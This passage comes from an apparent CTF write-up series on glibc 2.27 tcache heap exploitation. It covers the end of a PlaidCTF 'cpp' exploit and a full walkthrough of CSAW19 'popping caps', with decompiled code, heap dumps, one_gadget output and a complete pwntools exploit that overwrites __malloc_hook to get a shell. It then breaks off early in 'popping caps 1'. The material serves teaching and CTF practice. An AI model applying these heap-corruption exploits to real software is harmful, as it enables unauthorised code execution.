libcBase = view(0) - 0x3ebcd0

# Allocate chunks to clear out the tcache for the free hook overwrite
for i in xrange(7):
    add("9"*8, "0"*8)


# Execute the double free
remove(5)
remove(5)

# Allocate a chunk (which because of the double free, a duplicate chunk of this
exists in the tcache)
# Overwrite the next pointer to the next tcache chunk with the address of free
hook
add("15935728", p64(libcBase + libc.symbols["__free_hook"]))

# Print some addresses for diagnostic purposes
print "free hook: " + hex(libcBase + libc.symbols["__free_hook"])
print "free: " + hex(libcBase + 0x3eaf98)

# Allocate a chunk to the free hook, and write the libc address of system to it
add("15935728", p64(libcBase + libc.symbols["system"]))

# Add a chunk with `/bin/sh` to call system("/bin/sh")
target.sendline('1')
target.sendline("guyinatuxedo")
target.sendline("/bin/sh\x00")

target.interactive()
```

When we run it:

```
$ python exploit.py
[+] Starting local process './cpp': pid 9020
[*] '/Hackery/pod/modules/tcache/plaid19_cpp/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
1. Add
2. Remove
3. View
4. Exit

. . .

 File name too long
sh: 1: 00000000: not found
sh: 1: 00000000: not found
sh: 1: 00000000: not found
sh: 1: 00000000: not found
sh: 1: @d2\xbb�: not found
sh: 1: @d2\xbb�: not found
sh: 1: @d2\xbb�: not found
sh: 1:: not found
$ w
 20:57:55 up  2:49,  1 user,  load average: 0.87, 1.01, 1.33
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               18:38   ?xdm?   7:02   0.01s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
'N'$'\177'   cpp      libc-2.27.so     try.py        ''$'\363\327\177'
 core         exploit.py   readme.md    ''$'\351\177'
```

Just like that, we got a shell!

popping caps 0

Let's take a look at the binary and libc:

```
$ pwn checksec popping_caps
[*] '/Hackery/pod/modules/44-more_tcache/csaw19_popping_caps1/popping_caps'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ file popping_caps
popping_caps: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux
3.2.0, BuildID[sha1]=0b94b47318011a2516372524e7aaa0caeda06c79, not stripped
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ /popping_caps
Here is system 0x7f8dfb387fd0
You have 7 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
```

First off we are dealing with libc version `2.27` (so we get to use the tcache). This binary has all of the standard mitigations except for RELRO. When we run it, we get a libc infoleak, and have the ability to malloc, free, and write.

Reversing

When we take a look at the main function in Ghidra, we see this:

```c
undefined8 main(void)

{
  ulong choice;
  size_t size;
  long number;
  long idk;
  void *ptr;
  void *ptrCopy;

  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  printf("Here is system %p\n",system);
  idk = 7;
  ptr = (void *)0x0;
  ptrCopy = (void *)0x0;
  while (idk != 0) {
    printf("You have %llu caps!\n",idk);
    puts("[1] Malloc");
    puts("[2] Free");
    puts("[3] Write");
    puts("[4] Bye");
    puts("Your choice: ");
    choice = read_num();
    if (choice == 2) {
      puts("Whats in a free: ");
      number = read_num();
      free((void *)((long)ptr + number));
      if (ptr == ptrCopy) {
        ptrCopy = (void *)0x0;
      }
    }
    else {
      if (choice < 3) {
        if (choice == 1) {
          puts("How many: ");
          size = read_num();
          ptr = malloc(size);
          ptrCopy = ptr;
        }
      }
      else {
        if (choice == 3) {
          puts("Read me in: ");
          read(0,ptrCopy,8);
        }
        else {
          if (choice == 4) {
            bye();
          }
        }
```

```
      }
    }
    puts("BANG!");
    idk = idk + -1;
  }
  bye();
  return 0;
}
```

So we can see a few things here. First we can allocate a chunk of a particular size, which is then stored in `ptrCopy` and `ptr`. Proceeding that, we can also scan in `0x8` bytes into the address pointed to by `ptrCopy`. Also the free works by us providing an offset to `ptr`, which is then freed. After we free it zeroes out `ptrCopy`, but not `ptr`. So after we free once, we will have to allocate another chunk before we can do another write. Also we don't see any simple way of getting another infoleak.

Also one other important thing, we only get `7` actions (with an action being a read, write, or free). After that `bye` is run which the program calls `malloc` and `exit`:

```
void bye(void)

{
  fwrite(&DAT_00100d04,1,4,stdout);
  malloc(0x38);
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

Exploitation

So for exploiting this code, we will be attacking the tcache. Particularly where the tcache stores the beginning of the various linked lists that makes up the tcache, and the corresponding counts. This is stored in a chunk at the beginning of the heap. For a better understanding of this, let's take a look at it:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x000056054637b000 0x000056054637c000 0x0000000000000000 r-x /home/guyinatuxedo
/Desktop/popping/popping_caps
0x000056054657c000 0x000056054657d000 0x0000000000001000 rw- /home/guyinatuxedo
/Desktop/popping/popping_caps
0x0000560548324000 0x0000560548345000 0x0000000000000000 rw- [heap]
0x00007f1e4b9c3000 0x00007f1e4bbaa000 0x0000000000000000 r-x /home/guyinatuxedo
/Desktop/popping/libc.so.6
0x00007f1e4bbaa000 0x00007f1e4bdaa000 0x00000000001e7000 --- /home/guyinatuxedo
/Desktop/popping/libc.so.6
0x00007f1e4bdaa000 0x00007f1e4bdae000 0x00000000001e7000 r-- /home/guyinatuxedo
/Desktop/popping/libc.so.6
0x00007f1e4bdae000 0x00007f1e4bdb0000 0x00000000001eb000 rw- /home/guyinatuxedo
/Desktop/popping/libc.so.6
0x00007f1e4bdb0000 0x00007f1e4bdb4000 0x0000000000000000 rw-
0x00007f1e4bdb4000 0x00007f1e4bddb000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007f1e4bfd9000 0x00007f1e4bfdb000 0x0000000000000000 rw-
0x00007f1e4bfdb000 0x00007f1e4bfdc000 0x0000000000027000 r-- /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007f1e4bfdc000 0x00007f1e4bfdd000 0x0000000000028000 rw- /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007f1e4bfdd000 0x00007f1e4bfde000 0x0000000000000000 rw-
0x00007ffc5924c000 0x00007ffc5926d000 0x0000000000000000 rw- [stack]
0x00007ffc593ce000 0x00007ffc593d1000 0x0000000000000000 r-- [vvar]
0x00007ffc593d1000 0x00007ffc593d2000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x/100g 0x0000560548324000
0x560548324000: 0x0 0x251
0x560548324010: 0x0 0x0
0x560548324020: 0x0 0x0
0x560548324030: 0x0 0x0
0x560548324040: 0x0 0x0
0x560548324050: 0x0 0x0
0x560548324060: 0x0 0x0
0x560548324070: 0x0 0x0
0x560548324080: 0x0 0x0
0x560548324090: 0x0 0x0
0x5605483240a0: 0x0 0x0
0x5605483240b0: 0x0 0x0
0x5605483240c0: 0x0 0x0
0x5605483240d0: 0x0 0x0
0x5605483240e0: 0x0 0x0
0x5605483240f0: 0x0 0x0
0x560548324100: 0x0 0x0
0x560548324110: 0x0 0x0
0x560548324120: 0x0 0x0
0x560548324130: 0x0 0x0
0x560548324140: 0x0 0x0
0x560548324150: 0x0 0x0
0x560548324160: 0x0 0x0
```

```
0x560548324170: 0x0 0x0
0x560548324180: 0x0 0x0
0x560548324190: 0x0 0x0
0x5605483241a0: 0x0 0x0
0x5605483241b0: 0x0 0x0
0x5605483241c0: 0x0 0x0
0x5605483241d0: 0x0 0x0
0x5605483241e0: 0x0 0x0
0x5605483241f0: 0x0 0x0
0x560548324200: 0x0 0x0
0x560548324210: 0x0 0x0
0x560548324220: 0x0 0x0
0x560548324230: 0x0 0x0
0x560548324240: 0x0 0x0
0x560548324250: 0x0 0x91
0x560548324260: 0x0 0x0
0x560548324270: 0x0 0x0
0x560548324280: 0x0 0x0
0x560548324290: 0x0 0x0
0x5605483242a0: 0x0 0x0
0x5605483242b0: 0x0 0x0
0x5605483242c0: 0x0 0x0
0x5605483242d0: 0x0 0x0
0x5605483242e0: 0x0 0x20d21
0x5605483242f0: 0x0 0x0
0x560548324300: 0x0 0x0
0x560548324310: 0x0 0x0
```

So we can see the chunk we were talking about the beginning, with a size of `0x251`. We can also see another chunk we allocated at `0x560548324250` with the size `0x91`. Let's free it and have it inserted into the tcache:

```
gef➤  x/100g 0x0000560548324000
0x560548324000: 0x0 0x251
0x560548324010: 0x100000000000000 0x0
0x560548324020: 0x0 0x0
0x560548324030: 0x0 0x0
0x560548324040: 0x0 0x0
0x560548324050: 0x0 0x0
0x560548324060: 0x0 0x0
0x560548324070: 0x0 0x0
0x560548324080: 0x0 0x560548324260
0x560548324090: 0x0 0x0
0x5605483240a0: 0x0 0x0
0x5605483240b0: 0x0 0x0
0x5605483240c0: 0x0 0x0
0x5605483240d0: 0x0 0x0
0x5605483240e0: 0x0 0x0
0x5605483240f0: 0x0 0x0
0x560548324100: 0x0 0x0
0x560548324110: 0x0 0x0
0x560548324120: 0x0 0x0
0x560548324130: 0x0 0x0
0x560548324140: 0x0 0x0
0x560548324150: 0x0 0x0
0x560548324160: 0x0 0x0
0x560548324170: 0x0 0x0
0x560548324180: 0x0 0x0
0x560548324190: 0x0 0x0
0x5605483241a0: 0x0 0x0
0x5605483241b0: 0x0 0x0
0x5605483241c0: 0x0 0x0
0x5605483241d0: 0x0 0x0
0x5605483241e0: 0x0 0x0
0x5605483241f0: 0x0 0x0
0x560548324200: 0x0 0x0
0x560548324210: 0x0 0x0
0x560548324220: 0x0 0x0
0x560548324230: 0x0 0x0
0x560548324240: 0x0 0x0
0x560548324250: 0x0 0x91
0x560548324260: 0x0 0x0
0x560548324270: 0x0 0x0
0x560548324280: 0x0 0x0
0x560548324290: 0x0 0x0
0x5605483242a0: 0x0 0x0
0x5605483242b0: 0x0 0x0
0x5605483242c0: 0x0 0x0
0x5605483242d0: 0x0 0x0
0x5605483242e0: 0x0 0x20d21
0x5605483242f0: 0x0 0x0
0x560548324300: 0x0 0x0
0x560548324310: 0x0 0x0
```

So we can see a pointer to the freed chunk (which is now in the tcache) ended up in the upper chunk. We also see the corresponding byte for that count of the linked list associated with chunks of that size has been incremented. So for how we will start off by allocating a chunk of size `0x3b0` :

```
gef➤  x/100g 0x0000560eee9a5000
0x560eee9a5000: 0x0 0x251
0x560eee9a5010: 0x0 0x0
0x560eee9a5020: 0x0 0x0
0x560eee9a5030: 0x0 0x0
0x560eee9a5040: 0x0 0x0
0x560eee9a5050: 0x0 0x0
0x560eee9a5060: 0x0 0x0
0x560eee9a5070: 0x0 0x0
0x560eee9a5080: 0x0 0x0
0x560eee9a5090: 0x0 0x0
0x560eee9a50a0: 0x0 0x0
0x560eee9a50b0: 0x0 0x0
0x560eee9a50c0: 0x0 0x0
0x560eee9a50d0: 0x0 0x0
0x560eee9a50e0: 0x0 0x0
0x560eee9a50f0: 0x0 0x0
0x560eee9a5100: 0x0 0x0
0x560eee9a5110: 0x0 0x0
0x560eee9a5120: 0x0 0x0
0x560eee9a5130: 0x0 0x0
0x560eee9a5140: 0x0 0x0
0x560eee9a5150: 0x0 0x0
0x560eee9a5160: 0x0 0x0
0x560eee9a5170: 0x0 0x0
0x560eee9a5180: 0x0 0x0
0x560eee9a5190: 0x0 0x0
0x560eee9a51a0: 0x0 0x0
0x560eee9a51b0: 0x0 0x0
0x560eee9a51c0: 0x0 0x0
0x560eee9a51d0: 0x0 0x0
0x560eee9a51e0: 0x0 0x0
0x560eee9a51f0: 0x0 0x0
0x560eee9a5200: 0x0 0x0
0x560eee9a5210: 0x0 0x0
0x560eee9a5220: 0x0 0x0
0x560eee9a5230: 0x0 0x0
0x560eee9a5240: 0x0 0x0
0x560eee9a5250: 0x0 0x3b1
0x560eee9a5260: 0x0 0x0
0x560eee9a5270: 0x0 0x0
0x560eee9a5280: 0x0 0x0
0x560eee9a5290: 0x0 0x0
0x560eee9a52a0: 0x0 0x0
0x560eee9a52b0: 0x0 0x0
0x560eee9a52c0: 0x0 0x0
0x560eee9a52d0: 0x0 0x0
0x560eee9a52e0: 0x0 0x0
0x560eee9a52f0: 0x0 0x0
0x560eee9a5300: 0x0 0x0
0x560eee9a5310: 0x0 0x0
```

Proceeding that, we will free that chunk. This will insert a pointer to it as the head of the linked list for it's idx, and increment the corresponding count:

```
gef➤  x/100g 0x0000560eee9a5000
0x560eee9a5000: 0x0 0x251
0x560eee9a5010: 0x0 0x0
0x560eee9a5020: 0x0 0x0
0x560eee9a5030: 0x0 0x0
0x560eee9a5040: 0x0 0x100
0x560eee9a5050: 0x0 0x0
0x560eee9a5060: 0x0 0x0
0x560eee9a5070: 0x0 0x0
0x560eee9a5080: 0x0 0x0
0x560eee9a5090: 0x0 0x0
0x560eee9a50a0: 0x0 0x0
0x560eee9a50b0: 0x0 0x0
0x560eee9a50c0: 0x0 0x0
0x560eee9a50d0: 0x0 0x0
0x560eee9a50e0: 0x0 0x0
0x560eee9a50f0: 0x0 0x0
0x560eee9a5100: 0x0 0x0
0x560eee9a5110: 0x0 0x0
0x560eee9a5120: 0x0 0x0
0x560eee9a5130: 0x0 0x0
0x560eee9a5140: 0x0 0x0
0x560eee9a5150: 0x0 0x0
0x560eee9a5160: 0x0 0x0
0x560eee9a5170: 0x0 0x0
0x560eee9a5180: 0x0 0x0
0x560eee9a5190: 0x0 0x0
0x560eee9a51a0: 0x0 0x0
0x560eee9a51b0: 0x0 0x0
0x560eee9a51c0: 0x0 0x0
0x560eee9a51d0: 0x0 0x0
0x560eee9a51e0: 0x0 0x0
0x560eee9a51f0: 0x0 0x0
0x560eee9a5200: 0x0 0x0
0x560eee9a5210: 0x0 0x560eee9a5260
0x560eee9a5220: 0x0 0x0
0x560eee9a5230: 0x0 0x0
0x560eee9a5240: 0x0 0x0
0x560eee9a5250: 0x0 0x3b1
0x560eee9a5260: 0x0 0x0
0x560eee9a5270: 0x0 0x0
0x560eee9a5280: 0x0 0x0
0x560eee9a5290: 0x0 0x0
0x560eee9a52a0: 0x0 0x0
0x560eee9a52b0: 0x0 0x0
0x560eee9a52c0: 0x0 0x0
0x560eee9a52d0: 0x0 0x0
0x560eee9a52e0: 0x0 0x0
0x560eee9a52f0: 0x0 0x0
0x560eee9a5300: 0x0 0x0
0x560eee9a5310: 0x0 0x0
```

As you can see, the `0x1` for the idx maps to the byte `0x560eee9a5049`. This also happens to make for a perfect fake chunk header with size `0x100`. Next we will free the fake chunk we just created, which will insert it into the tcache. Also the reason why we choose that spot, is the linked list pointers will begin at `0x560eee9a5050`, which we will be able to write to:

```
gef➤  x/100g 0x0000560eee9a5000
0x560eee9a5000: 0x0 0x251
0x560eee9a5010: 0x0 0x1000000000000
0x560eee9a5020: 0x0 0x0
0x560eee9a5030: 0x0 0x0
0x560eee9a5040: 0x0 0x100
0x560eee9a5050: 0x0 0x0
0x560eee9a5060: 0x0 0x0
0x560eee9a5070: 0x0 0x0
0x560eee9a5080: 0x0 0x0
0x560eee9a5090: 0x0 0x0
0x560eee9a50a0: 0x0 0x0
0x560eee9a50b0: 0x0 0x0
0x560eee9a50c0: 0x560eee9a5050  0x0
0x560eee9a50d0: 0x0 0x0
0x560eee9a50e0: 0x0 0x0
0x560eee9a50f0: 0x0 0x0
0x560eee9a5100: 0x0 0x0
0x560eee9a5110: 0x0 0x0
0x560eee9a5120: 0x0 0x0
0x560eee9a5130: 0x0 0x0
0x560eee9a5140: 0x0 0x0
0x560eee9a5150: 0x0 0x0
0x560eee9a5160: 0x0 0x0
0x560eee9a5170: 0x0 0x0
0x560eee9a5180: 0x0 0x0
0x560eee9a5190: 0x0 0x0
0x560eee9a51a0: 0x0 0x0
0x560eee9a51b0: 0x0 0x0
0x560eee9a51c0: 0x0 0x0
0x560eee9a51d0: 0x0 0x0
0x560eee9a51e0: 0x0 0x0
0x560eee9a51f0: 0x0 0x0
0x560eee9a5200: 0x0 0x0
0x560eee9a5210: 0x0 0x560eee9a5260
0x560eee9a5220: 0x0 0x0
0x560eee9a5230: 0x0 0x0
0x560eee9a5240: 0x0 0x0
0x560eee9a5250: 0x0 0x3b1
0x560eee9a5260: 0x0 0x0
0x560eee9a5270: 0x0 0x0
0x560eee9a5280: 0x0 0x0
0x560eee9a5290: 0x0 0x0
0x560eee9a52a0: 0x0 0x0
0x560eee9a52b0: 0x0 0x0
0x560eee9a52c0: 0x0 0x0
0x560eee9a52d0: 0x0 0x0
0x560eee9a52e0: 0x0 0x0
0x560eee9a52f0: 0x0 0x0
0x560eee9a5300: 0x0 0x0
0x560eee9a5310: 0x0 0x0
```

As we can see here, the chunk `0x560eee9a5050` has been inserted into the tcache. Next we will allocate it with malloc:

```
gef➤  x/100g 0x0000560eee9a5000
0x560eee9a5000: 0x0 0x251
0x560eee9a5010: 0x0 0x0
0x560eee9a5020: 0x0 0x0
0x560eee9a5030: 0x0 0x0
0x560eee9a5040: 0x0 0x100
0x560eee9a5050: 0x0 0x0
0x560eee9a5060: 0x0 0x0
0x560eee9a5070: 0x0 0x0
0x560eee9a5080: 0x0 0x0
0x560eee9a5090: 0x0 0x0
0x560eee9a50a0: 0x0 0x0
0x560eee9a50b0: 0x0 0x0
0x560eee9a50c0: 0x0 0x0
0x560eee9a50d0: 0x0 0x0
0x560eee9a50e0: 0x0 0x0
0x560eee9a50f0: 0x0 0x0
0x560eee9a5100: 0x0 0x0
0x560eee9a5110: 0x0 0x0
0x560eee9a5120: 0x0 0x0
0x560eee9a5130: 0x0 0x0
0x560eee9a5140: 0x0 0x0
0x560eee9a5150: 0x0 0x0
0x560eee9a5160: 0x0 0x0
0x560eee9a5170: 0x0 0x0
0x560eee9a5180: 0x0 0x0
0x560eee9a5190: 0x0 0x0
0x560eee9a51a0: 0x0 0x0
0x560eee9a51b0: 0x0 0x0
0x560eee9a51c0: 0x0 0x0
0x560eee9a51d0: 0x0 0x0
0x560eee9a51e0: 0x0 0x0
0x560eee9a51f0: 0x0 0x0
0x560eee9a5200: 0x0 0x0
0x560eee9a5210: 0x0 0x560eee9a5260
0x560eee9a5220: 0x0 0x0
0x560eee9a5230: 0x0 0x0
0x560eee9a5240: 0x0 0x0
0x560eee9a5250: 0x0 0x3b1
0x560eee9a5260: 0x0 0x0
0x560eee9a5270: 0x0 0x0
0x560eee9a5280: 0x0 0x0
0x560eee9a5290: 0x0 0x0
0x560eee9a52a0: 0x0 0x0
0x560eee9a52b0: 0x0 0x0
0x560eee9a52c0: 0x0 0x0
0x560eee9a52d0: 0x0 0x0
0x560eee9a52e0: 0x0 0x0
0x560eee9a52f0: 0x0 0x0
0x560eee9a5300: 0x0 0x0
0x560eee9a5310: 0x0 0x0
```

Now `ptrCopy` points to `0x560eee9a5050`. We will now write to it the address of the malloc hook, which we know from the libc base address:

```
gef➤  x/100g 0x0000560eee9a5000
0x560eee9a5000: 0x0 0x251
0x560eee9a5010: 0x0 0x0
0x560eee9a5020: 0x0 0x0
0x560eee9a5030: 0x0 0x0
0x560eee9a5040: 0x0 0x100
0x560eee9a5050: 0x7f81fad74c30  0x0
0x560eee9a5060: 0x0 0x0
0x560eee9a5070: 0x0 0x0
0x560eee9a5080: 0x0 0x0
0x560eee9a5090: 0x0 0x0
0x560eee9a50a0: 0x0 0x0
0x560eee9a50b0: 0x0 0x0
0x560eee9a50c0: 0x0 0x0
0x560eee9a50d0: 0x0 0x0
0x560eee9a50e0: 0x0 0x0
0x560eee9a50f0: 0x0 0x0
0x560eee9a5100: 0x0 0x0
0x560eee9a5110: 0x0 0x0
0x560eee9a5120: 0x0 0x0
0x560eee9a5130: 0x0 0x0
0x560eee9a5140: 0x0 0x0
0x560eee9a5150: 0x0 0x0
0x560eee9a5160: 0x0 0x0
0x560eee9a5170: 0x0 0x0
0x560eee9a5180: 0x0 0x0
0x560eee9a5190: 0x0 0x0
0x560eee9a51a0: 0x0 0x0
0x560eee9a51b0: 0x0 0x0
0x560eee9a51c0: 0x0 0x0
0x560eee9a51d0: 0x0 0x0
0x560eee9a51e0: 0x0 0x0
0x560eee9a51f0: 0x0 0x0
0x560eee9a5200: 0x0 0x0
0x560eee9a5210: 0x0 0x560eee9a5260
0x560eee9a5220: 0x0 0x0
0x560eee9a5230: 0x0 0x0
0x560eee9a5240: 0x0 0x0
0x560eee9a5250: 0x0 0x3b1
0x560eee9a5260: 0x0 0x0
0x560eee9a5270: 0x0 0x0
0x560eee9a5280: 0x0 0x0
0x560eee9a5290: 0x0 0x0
0x560eee9a52a0: 0x0 0x0
0x560eee9a52b0: 0x0 0x0
0x560eee9a52c0: 0x0 0x0
0x560eee9a52d0: 0x0 0x0
0x560eee9a52e0: 0x0 0x0
0x560eee9a52f0: 0x0 0x0
0x560eee9a5300: 0x0 0x0
0x560eee9a5310: 0x0 0x0
gef➤  x/g 0x7f81fad74c30
```

```
0x7f81fad74c30 <__malloc_hook>: 0x0
```

Now the head of the linked list for the smallest size idx points to the malloc hook. We will just allocate the chunk, and write to it the address of a oneshot gadget in the libc. Here is the value before the write:

```
───────────────────────────────────────────────────────────────────────── stack ────
0x00007ffe039d1ce0│+0x0000: 0x00007f81fad8a9a0  →  <_dl_fini+0> push rbp   ← $rsp
0x00007ffe039d1ce8│+0x0008: 0x0000000000000000
0x00007ffe039d1cf0│+0x0010: 0x00007f81fad74c30  →  0x0000000000000000
0x00007ffe039d1cf8│+0x0018: 0x00007f81fad74c30  →  0x0000000000000000
0x00007ffe039d1d00│+0x0020: 0x0000000000000003
0x00007ffe039d1d08│+0x0028: 0x0000560eee9a5050  →  0x0000000000000000
0x00007ffe039d1d10│+0x0030: 0x0000560eed594c80  →   push r15   ← $rbp
0x00007ffe039d1d18│+0x0038: 0x00007f81fa9aab97  →  <__libc_start_main+231> mov edi, eax
─────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x560eed594c37                  mov    edx, 0x8
   0x560eed594c3c                  mov    rsi, rax
   0x560eed594c3f                  mov    edi, 0x0
 → 0x560eed594c44                  call   0x560eed594870
   ↳  0x560eed594870                  jmp    QWORD PTR [rip+0x2009f2]        # 0x560eed795268
      0x560eed594876                  push   0x4
      0x560eed59487b                  jmp    0x560eed594820
      0x560eed594880                  jmp    QWORD PTR [rip+0x2009ea]        # 0x560eed795270
      0x560eed594886                  push   0x5
      0x560eed59488b                  jmp    0x560eed594820
─────────────────────────────────────────────────────────── arguments (guessed) ────
0x560eed594870 (
   $rdi = 0x0000000000000000,
   $rsi = 0x00007f81fad74c30 → 0x0000000000000000,
   $rdx = 0x0000000000000008
)
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "popping_caps", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x560eed594c44 → call 0x560eed594870
[#1] 0x7f81fad8a9a0 → push rbp
────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x0000560eed594c44 in ?? ()
gef➤  x/g 0x00007f81fad74c30
0x7f81fad74c30 <__malloc_hook>: 0x0
```

After the write:

```
gef➤  x/g 0x00007f81fad74c30
0x7f81fad74c30 <__malloc_hook>: 0x00007f81faa9338c
```

Also this is how we find the oneshot gadget:

```
one_gadget libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

After that, our seven actions are called. The function `bye` is called which calls malloc, and executes our oneshot gadget, and we get a shell!

Exploit

Putting it all together, we have the following exploit:

```
from pwn import *

target = process('./popping_caps', env={"LD_PRELOAD":"./libc.so.6"})

#target = remote("pwn.chal.csaw.io", 1001)
libc = ELF("libc.so.6")
#gdb.attach(target, gdbscript = 'pie b *0xc44')

mallocHook = 0x3ebc30
salvation = 0x3ebb90

leak = target.recvuntil("Here is system ")
leak = target.recvline()
leak = leak.strip("\n")
leak = int(leak, 16)

libcBase = leak - libc.symbols["system"]
print "libc base: " + hex(libcBase)

def pl():
    print target.recvuntil("Your choice:")

def malloc(x):
    pl()
    target.sendline("1")
    print target.recvuntil("How many:")
    target.sendline(str(x))

def write(x):
    pl()
    target.sendline("3")
    print target.recvuntil("Read me in:")
    target.send(x)

def free(x):
    pl()
    target.sendline("2")
    print target.recvuntil("Whats in a free:")
    target.sendline(str(x))


mallocHook = libcBase + libc.symbols["__malloc_hook"]
salvation = libcBase + salvation
print "malloc hook: " + hex(libcBase + libc.symbols["__malloc_hook"])
print "free hook: " + hex(libcBase + libc.symbols["__free_hook"])
print "salvation: " + hex(salvation)


malloc(0x3a0)

free(0)
```

```
free(-528)

malloc(0xf0)

write(p64(mallocHook))

malloc(0x0)

write(p64(libcBase + 0x10a38c))

target.interactive()
```

When we run it:

```
$ python exploit.py
[+] Starting local process './popping_caps': pid 3821
[*] '/home/guyinatuxedo/Desktop/popping/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc base: 0x7f08f11fa000
malloc hook: 0x7f08f15e5c30
free hook: 0x7f08f15e78e8
salvation: 0x7f08f15e5b90
You have 7 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

How many:

BANG!
You have 6 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

Whats in a free:

BANG!
You have 5 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

Whats in a free:

BANG!
You have 4 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

How many:

BANG!
```

```
You have 3 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

Read me in:

BANG!
You have 2 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

How many:

BANG!
You have 1 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

Read me in:
[*] Switching to interactive mode

BANG!
Bye!$ w
 22:34:28 up 21 min,  1 user,  load average: 0.03, 0.03, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               22:13   ?xdm?  26.87s  0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
core  exploit.py  libc.so.6  peda-session-popping_caps.txt  popping_caps
$
[*] Interrupted
[*] Stopped process './popping_caps' (pid 3821)
```

Just like that, we popped a shell!

Popping Caps 1

For this writeup, I'm assuming you've solved the first popping caps. These two are pretty similar.

Reversing

Taking a look at the main function, we see a lot of similarities:

```c
undefined8 main(void)

{
  ulong choice;
  size_t size;
  long freeOffset;
  long lives;
  void *ptr;
  void *ptrCpy;

  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  printf("Here is system %p\n",system);
  lives = 7;
  ptr = (void *)0x0;
  ptrCpy = (void *)0x0;
  while (lives != 0) {
    printf("You have %llu caps!\n",lives);
    puts("[1] Malloc");
    puts("[2] Free");
    puts("[3] Write");
    puts("[4] Bye");
    puts("Your choice: ");
    choice = read_num();
    if (choice == 2) {
      puts("Whats in a free: ");
      freeOffset = read_num();
      free((void *)((long)ptr + freeOffset));
      if (ptr == ptrCpy) {
        ptrCpy = (void *)0x0;
      }
    }
    else {
      if (choice < 3) {
        if (choice == 1) {
          puts("How many: ");
          size = read_num();
          ptr = malloc(size);
          ptrCpy = ptr;
        }
      }
      else {
        if (choice == 3) {
          puts("Read me in: ");
          read(0,ptrCpy,0xff);
        }
        else {
          if (choice == 4) {
            bye();
          }
        }
```

```
      }
    }
    puts("BANG!");
    lives = lives + -1;
  }
  bye();
  return 0;
}
```

So some differences we noticed from the first problem, we can scan in `0xff` bytes instead of `0x8` bytes. Also we notice that the `bye` function doesn't have the `malloc` call in it:

```
void bye(void)

{
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

So we have to do this without a malloc at the end. Our previous attack won't work anymore.

Exploit

For this, we will essentially be freeing the chunk which holds the tcache linked list information, reallocating it, and writing to it. First we call malloc to setup the heap:

```
gef➤  x/100g 0x0000556921223000
0x556921223000:    0x0    0x251
0x556921223010:    0x0    0x0
0x556921223020:    0x0    0x0
0x556921223030:    0x0    0x0
0x556921223040:    0x0    0x0
0x556921223050:    0x0    0x0
0x556921223060:    0x0    0x0
0x556921223070:    0x0    0x0
0x556921223080:    0x0    0x0
0x556921223090:    0x0    0x0
0x5569212230a0:    0x0    0x0
0x5569212230b0:    0x0    0x0
0x5569212230c0:    0x0    0x0
0x5569212230d0:    0x0    0x0
0x5569212230e0:    0x0    0x0
0x5569212230f0:    0x0    0x0
0x556921223100:    0x0    0x0
0x556921223110:    0x0    0x0
0x556921223120:    0x0    0x0
0x556921223130:    0x0    0x0
0x556921223140:    0x0    0x0
0x556921223150:    0x0    0x0
0x556921223160:    0x0    0x0
0x556921223170:    0x0    0x0
0x556921223180:    0x0    0x0
0x556921223190:    0x0    0x0
0x5569212231a0:    0x0    0x0
0x5569212231b0:    0x0    0x0
0x5569212231c0:    0x0    0x0
0x5569212231d0:    0x0    0x0
0x5569212231e0:    0x0    0x0
0x5569212231f0:    0x0    0x0
